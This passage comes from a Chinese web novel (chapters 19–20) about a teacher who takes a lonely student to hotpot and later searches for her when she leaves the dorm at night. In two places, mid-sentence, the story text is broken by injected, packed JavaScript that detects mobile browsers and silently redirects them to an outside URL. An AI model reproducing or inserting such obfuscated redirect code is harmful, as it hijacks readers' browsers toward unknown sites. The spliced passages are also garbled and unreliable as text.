江暖手暗戳戳地摸了摸扁平的肚子。 宋晚秋余光瞟到她的小动作,眸光一转,扁了扁嘴,“其实老师也有点饿了,酒会上的饭实在是不怎么好吃…” 是她饿了,可不是我饿了! 江暖不再客气,懒洋洋地问:“吃什么?” “你想吃什么?” “随便。” “那我们就去吃随便吧。” 江暖:…… 19. 第19章 二十分钟后,两人来到了一家全天营业的火锅店。宋晚秋将预订信息告知服务员,随后服务员便带着两人来到了卡座。 江暖在座位上坐定,双眸中满是兴奋,好奇地问:“你什么时候订的座?” 宋晚秋瞧着对面眉开眼笑的女孩,暗自庆幸自己猜中了对方的喜好,不紧不慢地答:“在你还没确定要不要跟我来吃饭的时候。” “这么早啊?”江暖咂咂嘴,装出一副老气横秋的样子,“你难道就不怕我拒绝跟你一起吃饭?” 宋晚秋一脸淡然,毫不在意地说:“人生有很多试错机会,不过是一顿饭,被你拒绝了,大不了我取消预约就好了嘛。” “好吧,你说的没毛病。” 宋晚秋将桌上的菜单递给江暖,“点菜吧。” “你怎么不点?” “小孩优先,你点完,老师再点。” “鸳鸯锅?微辣?中辣”江暖看着菜单,忍不住地咽了咽口水,抬眸问:“你能吃辣吗?” 宋晚秋唇角勾起,拍板,“中辣。” “好嘞。”江暖摇头晃脑着点菜。 宋晚秋打开手机,紧盯着好友群里发来的那一连串夺命连环消息。 她有些心虚地抿了抿唇,打字:“我临时有点事,改天我请你们喝酒赔罪!” 好友A:“靠!我们可等了你一晚上!你居然就这样毫无人性的放我们鸽子!” 好友B:“老实交代,你这是扔下我们和哪个美女姐姐幽会去了?” 好友C:“就是,就是,快说!哪个姐姐勾走了你的良心?让你丧尽天良的重色轻友!” 宋晚秋无语扶额,飞快地打字:“没美女也没姐姐,街上捡到了我的学生,带她吃顿饭。” 好友A:“这鬼话你是用脚趾头想出来的?” 好友C:“别以为我们不知道,你最烦小孩子了,上次我让你给我表妹补习,你倒好,直接尿遁了!” 好友B:“再不坦白,踢出群聊!” 宋晚秋好笑又无奈,急忙回:“我发誓,我说的都是真的!” 好友A、B、C:“发誓有用的话,踢出群聊这功能还有啥用!” 宋晚秋没辙,抬眸看向正点菜的江暖,有些尴尬地咬了下唇,轻声问,“江暖,老师能和你拍张合照吗?” 江暖慢半拍的“啊”了一声,想到什么,眼睛一下亮了起来,“拍照是有优惠吗? 宋晚秋被她这副傻样逗乐,心底忽地涌起一股玩闹的心思,她郑重其事地点了点下巴,用一种很夸张的语气说:“而且折扣可大了,能打骨折呢! 江暖一听,两眼霎时放光,立马放下手中的菜单,语气急切,“可以,那咱赶快拍吧。是不是拍的照片越多,打的折扣就越低?是不是还得发朋友圈帮忙宣传?” “没想到你这小孩还是个小财迷。”宋晚秋忍不住笑出了声,“拍一张就够了。” 江暖咧开嘴,露出一口洁白整齐的牙齿,振振有词,“出门在外,该省省,该花花嘛。” 其实是她不想花宋晚秋的钱,不管她平时表现的多目无尊长,毕竟这人是她的老师,一起吃饭总是不自在。而且老话说的好,吃人嘴短,她心里终归不太踏实。 宋晚秋宠溺地笑了笑,打开前置摄像头,侧过身子,举起手机,轻轻按下快门。 “咔———” 就在这一瞬间,时光仿佛被定格。 宋晚秋垂眸看着照片里的小姑娘,只见女孩 唇边漾着可爱的小梨涡,右手举在脸颊边比着耶的手势,她忍不住嘴角向上弯起。 这小孩,不笑的时候看起来拽拽的,可一笑就透着股奶乎乎的劲儿。很乖很可爱。 江暖见宋晚秋一直盯着照片,好奇道:“给我看看你拍的怎么样?别你拍照技术太差,把我拍成了丑八怪!!” “丑得简直不忍直视。”宋晚秋故意做出一副嫌弃的模样,眼疾手快地把手机息屏。 江暖愣住了。 宋晚秋眉梢一挑,含笑的声音带着一丝威胁的意味说:“老师现在可有你的丑照了,以后你要是再在课堂上睡觉,我就把这照片打印出来挂在黑板上。 江暖石化在原地。 她愣了半天,后知后觉地反应过来,猛然拔高声音,“所以你刚才是在骗我?根本就没有打折活动,对不对?” 宋晚秋嗯了一声,打开手机,将照片发进群里,堵住那一张张八卦的嘴。 她好整以暇的看向对面瞪着自己的江暖,“小孩,以后可得长点心。” 江暖本就没打算在课堂上睡觉,所以也不在乎对方会不会把照片挂在黑板上。 她长叹一口气,一脸哀怨地嗫嚅,“你们大人总是欺骗我们小孩,没风度。 宋晚秋心虚地转移话题,“点好菜了吗?快下单吧,我饿了。” “点好了。”江暖将菜单递给宋晚秋,“你看你吃什么,自己点。” 宋晚秋大致扫了一眼菜单,发现这小孩点的全是素菜,跟喂兔子似的。她加了三份肉、毛肚和虾滑,随后喊来服务员下单。 没一会儿,火锅就上桌了。 宋晚秋给江暖倒了一杯鲜榨橙汁,脸上带着几分心虚的笑意,“老师给你赔罪,刚才不该骗你的。 江暖不屑地嘁了一声,眼睛紧紧盯着咕噜咕噜直冒泡的红油锅底,满不在乎地摇头,“看在火锅的份上,我就原谅你了。 宋晚秋发现这小孩真的很好哄,“别光盯着锅底了,赶紧煮菜呀。” “我发现你特爱使唤人。”江暖嘴上抱怨,拿起公筷一个劲儿地往锅里下肉卷。 宋晚秋桃花眼微眯,似笑非笑地问,“你想说我没长手,还是我手残废了?” 江暖一噎,语气慢悠悠地,“这话可是你自己说的,我可没这么讲。” 宋晚秋笑笑,拿起筷子,“开吃吧。这肉下到锅里八秒就可以吃了。” 江暖听了,立刻拿起筷子在锅里捞肉,蘸上麻酱,然后塞进嘴里,动作一气呵成。 江暖一口气吃了十几块肉卷,又喝了大半杯橙汁,心满意足地发出喟叹:“真爽啊。这才是人生嘛!” 宋晚秋吃 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|13908190|147347||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了两口便放下筷子,看着对面的江暖吃饭,闻言调侃出声,“你的人生就只是吃一顿火锅?那你也太容易满足了吧。” 江暖缓缓收起嘴角的笑,嘴唇翕动,“我已经有大半年没吃火锅了…” 宋晚秋愣了几秒,斟酌着措辞安慰她:“小孩肠胃比较脆弱,家长不让吃油腻的东西也很正常的。” 话一说完,饭桌上瞬间一片寂静。 江暖紧紧捏着筷子,顿了一下,嘴角浮现出一抹没有任何笑意的笑,“并不是,我妈根本就不在意我吃什么。” 说完,她环视了一下四周,“火锅和其他饭不太一样,一个人来吃有点奇怪,难道你不这么觉得吗?” 宋晚秋看着女孩眼眸中荡漾着的落寞又夹杂着羡慕的细碎光芒,心里莫名地揪了一下。 “一个人吃火锅确实是有点奇怪。”她忍了又忍,还是忍不住问出口:“你妈妈工作很忙吗?” 江暖轻轻嗯了一声,低下头去,用筷子慢慢戳着碗里的肉,“从小到大,我见到保姆的次数比见到我妈要多出十倍都不止呢。” 宋晚秋不禁皱起眉头,这才明白,为什么这小孩小小年纪身上总透着一种浓浓的孤寂感。 宋晚秋又给江暖夹了些菜,轻声说,“以后你要是想吃火锅了,老师可以带你来吃。” “用不着你同情我。”江暖想都没想就立刻拒绝了,像一只敏感的小猫,一言不合就竖起了浑身的刺。 宋晚秋默了默,安抚这只炸毛的小猫,“你误会了,老师可没想同情你。” 江暖冷哼一声,傲娇地抬起下巴,“虽然我自己一个人不想来吃火锅,但是我可以坐在最高级的西餐厅里吃惠灵顿牛排。所以你真不用觉得我可怜。” 她说这话的时候,表情透着一股高傲,但是用心感受,会发现她是在用傲娇,保护自己小小的自尊心。 宋晚秋心疼地看着她,嗓音轻柔,“带你来吃火锅,是老师想给你的奖励。以后只要你成绩有进步,老师就带你出来吃火锅。” “真的?”江暖半信半疑地眯起眼睛,“那你怎么不奖励其他有进步的学生呢?” 宋晚秋一噎,循循善诱:“老师之前不是说过了嘛,你可是我的得意门生呢。你看,现在老师请你吃火锅,将来等你功成名就,就可以请老师吃全世界最顶级的惠灵顿牛排了。所以老师这是在做长期投资。” 江暖有点被说服,思忖片刻,底气不足地轻生问:“可是如果你现在请我吃了火锅,但我以后并没有功成名就呢?” “那也没关系啊。”宋晚秋双手撑着下巴,眉眼含笑地说,“比起惠灵顿牛排,老师更喜欢吃火锅,而且我和你一样,也不喜欢一个人来吃火锅。咱们可以成为彼此的火锅搭子。” “可以。”江暖由衷地笑了,小梨涡漾起,露出两颗可爱的小虎牙,“其实,我也觉得惠灵顿牛排不好吃。” “英雄所见略同。” 江暖垂眸看着碗里堆了小半碗的肉菜,暗下决心,为了今晚宋晚秋请她吃的这顿火锅,一定要努力让宋晚秋吃上最顶级的惠灵顿牛排。 20. 第20章 宋晚秋看着对面乖乖吃饭的小孩,怎么也想不明白,如此可爱的孩子,她的妈妈怎么舍得总是不回家呢。 更想不明白的是,她的其他代课老师,为什么就不能多花点心思,去了解一下这个所谓最难管的学生呢?这小孩明明是很容易引导的呀。 都说老师是指路明灯,宋晚秋不知道自己能散发出多少光亮,但她一定会尽自己所能,引导这个小孩走向更平坦的道路。 不管怎样,江暖不能止步于此。 吃完饭,宋晚秋开车送江暖回家。 半小时后,两人站在别墅旁的马路上。 宋晚秋望向前方黑乎乎的三层小楼,满脸诧异,忍不住问:“这么大的一栋房子,就你一个人住吗?” 刚吃得太撑的江暖正用手揉着肚子,听到这话点了点头,“以前有一个保姆的,但高三要住校,我妈就把保姆辞退了。” “你一个人住,会害怕吗?” “习惯了。” 女孩没有说“不怕”,而是说“习惯了”。就这么简简单单的三个字,却让宋晚秋的心像是被人狠狠地揪了一下,一阵钝钝的疼痛蔓延开来。 她想不通,江暖的妈妈是怎么放心让一个未成年的小姑娘独自住在这么大的房子里。 宋晚秋伸手轻轻地揉了揉女孩的发顶,一脸关切地叮嘱道:“晚上睡觉的时候,一定要记得锁好门窗。” “我知道。”江暖向前走了几步,转身朝站在原地的宋晚秋挥挥手,“你快回去吧。” 宋晚秋颔首,手刚放到车门把手上,下一秒又转过头来,喊:“江暖……” “嗯?”江暖扭头看向她。 宋晚秋迈着大步走了过去,同时迅速打开手机,“把你的手机号告诉我。” “为什么?”江暖眨眨眼,报出了一串数字。 紧接着,江暖兜里的手机铃声就响了起来。 宋晚秋挂断电话,语重心长地说:“记得存好老师的号码,以后要是遇到什么事情,可以随时给老师打电话,知道吗?” 江暖垂着眼眸,嘴里小声嘟囔,“为什么要给你打电话?你又不是我的班主任…” 宋晚秋:…… “好像也没有谁规定,学生遇到困难的时候只能给班主任打电话吧。”宋晚秋一边说着,一边轻轻揉了揉女孩的脑袋,“回去早点睡觉,别熬夜。” 江暖发觉宋晚秋似乎很爱像摸小狗一样摸她的脑袋,心里有些不爽,偏过头,“你好啰嗦。” 宋晚秋笑了笑,随后利落地钻进车子,打开车灯。 那明亮的灯光,照亮了女孩回家的路。 江暖垂眸看着脚下被灯光拉长的影子,心中涌起一股暖流,鼻尖微微发酸。她转过身,朝着宋晚秋用力地挥了挥手,而后脚步轻快地跑进家门。 洗漱完毕后,江暖慵懒地躺在床上,伸手拿过手机,打开通话页面,准备给排在第一个的未接来电添加备注。 女孩纤细的手指在姓名那一栏轻敲慢打了许久,最后还是输入了“宋晚秋”三个字。 不知为何,江暖既不想称呼她为“老师”,也不想和陈沐禾她们一样叫她“宋宋”。 江暖想到什么,手指飞快地在手机屏幕上滑动,她点开微信添加好友页面,将刚刚复制的电话号码粘贴到搜索框里。 下一秒,一个有着可爱小猫头像、昵称是“S”的用户出现在屏幕上。 江暖拇指在“添加好友”那几个字上悬停了足足五分钟,最终还是默默地退出了这个页面。 老师应该不会愿意私下加学生的微信吧。 新的一周拉开序幕,江暖几乎把自己所有的时间都投入到恶补英语这件事情上。语文课学英语,数学课学英语,课外活动学英语,唯独不在英语课上学英语。 这个拧巴又带着几分傲娇的小孩,不想让宋晚秋察觉自己在英语学习上有多刻苦。要是被她知道了,那自己的学渣人设不就崩了?! 因此,在英语课上,江暖始终坚守着自己的“原则”,坚决不学英语。 在她埋头苦读的日子里,时间就像长了翅膀似的,过得飞快。不知不觉间,教室后面黑板上高考的倒计时悄然变成了270天。 在江暖即将学得走火入魔前,她的英语成绩终于有了起色,从原来的63分提高到了85分。 宋晚秋看着江暖节节攀升的成绩,心里由衷地为她感到高兴。于是,她开始计划着帮这小孩补习其他的课程。 然而,安分许久的江暖又闹幺蛾子了。 这天晚上,宋晚秋正准备入睡,电话铃声突然响起,是许嘉打来的求助电话。许嘉在电话里焦急地告诉她,不久前宿管查寝的时候发现江暖不在宿舍,可自己的孩子正在发烧,实在是脱不开身,所以只能麻烦宋晚秋帮忙去找一找江暖。 宋晚秋毫不犹豫地就答应了下来。 挂断电话,她赶忙给江暖拨打电话,然而听筒里传来的却是关机提示音。 她又按照许嘉发来的号码,试着联系江暖的家长。可电话接连打了十几通,始终都是无人接听的状态。 宋晚秋不敢耽搁,迅速换好衣服,拿上车钥匙前往学校。 宿舍楼道里,宋晚秋一脸严肃地看着站在对面的陈沐禾和林洛,声音里带着一丝急切,“你们知道江暖去哪儿了吗?” 林洛和陈沐禾对视一眼,默契地摇了摇头。 宋晚秋仔细地观察着两人的神情,微微挑起眉梢,加重了语气再次问:“真的不知道?” 两人齐声回答:“真的不知道。” 宋晚秋深吸一口气,“你们知不知道学生夜不归宿,会有什么样的后果?” 两人抿紧嘴唇,摇了摇头。 宋晚秋脸上乌云密布,“轻则处分,重则开除。” 陈沐禾闻言皱起眉头,小心翼 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|13908191|147347||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 翼地试探着小声问:“如果她现在回来的话,你们能不能不给她处分呀?” 宋晚秋摇了摇头,“这个我做不了主,得看学校方面的决定。” 林洛想到以前江暖也逃过几次课,每次她妈妈都有办法把事情解决妥当。 思及此,林洛给了陈沐禾一个“放心”的眼神。 陈沐禾用眼神询问她:“你确定没问题?” 林洛不动声色地轻轻点了下头。 陈沐禾紧皱的眉头松开,“老师,我们是真的不知道江暖去哪儿了…” 宋晚秋将两人的小动作尽收眼底,明白她们是打算为自己的朋友保守秘密,不再追问,“既然你们不知道,那就回宿舍接着睡觉吧。” 目送两人回宿舍后,宋晚秋走向江暖所在的宿舍。 宋晚秋敲门进去,一眼便看到女孩床上用被子堆成的假人,好笑又无奈。这家伙,每次干坏事的时候,脑子倒是转得挺快。 她转头看向江暖的三位室友,轻声问,“你们知道江暖去哪儿了吗?” 其中两个女孩毫不犹豫地摇了摇头,“不知道。” 住在江暖上铺的女孩小声说:“老师,中午放学的时候,我听到江暖和隔壁班的一个女生在楼道里吵架,然后还听她们说什么晚上比赛…” 宋晚秋一脸疑惑,“比赛?” 女孩嗯嗯两声,挠着后脑勺,“好像是关于什么游戏的比赛,不过我也没听太清。” 宋晚秋若有所思地走出宿舍,随后拿出手机给冷星然拨打了电话。 电话一接通,她直奔主题:“今晚京北这边有没有什么游戏比赛?” 正在值夜班的冷星然,脑袋昏昏沉沉的,晃了晃脑袋,“不知道啊。你这是又要去打比赛?” “不是我。”宋晚秋揉了揉眉心,语气里带着一丝担忧,“是我的一个学生找不到了,我猜她可能是去参加比赛了。” 冷星然一听,立马坐直身子,“你等我查一查。” 不久后,电话那头传来冷星然的声音:“我已经确认过了,今晚全国范围内都没有任何游戏比赛。” 宋晚秋不禁皱起眉头,自言自语,“那她和同学说要去打什么比赛?” 冷星然思索了一会儿,猜测道:“会不会是这孩子和别人约好了一起去打游戏啊?” “有这个可能。”宋晚秋紧接着问:“你能帮我查一查她在哪里打游戏吗?” 冷星然犹豫几秒,“你有她的照片吗?发给我吧,我试试看。” 宋晚秋迅速将之前两人在火锅店吃饭时拍的合照发给冷星然,随后大步流星走出学校,坐到车上,她继续给江暖和江暖的家长打电话,可电话那头依旧无人接听。 不一会儿,冷星然发来一个地址,“监控显示,她最后出现在这条街附近。” 宋晚秋看到地址后,不由得愣住了。她深吸一口气,朝目的地疾驰而去。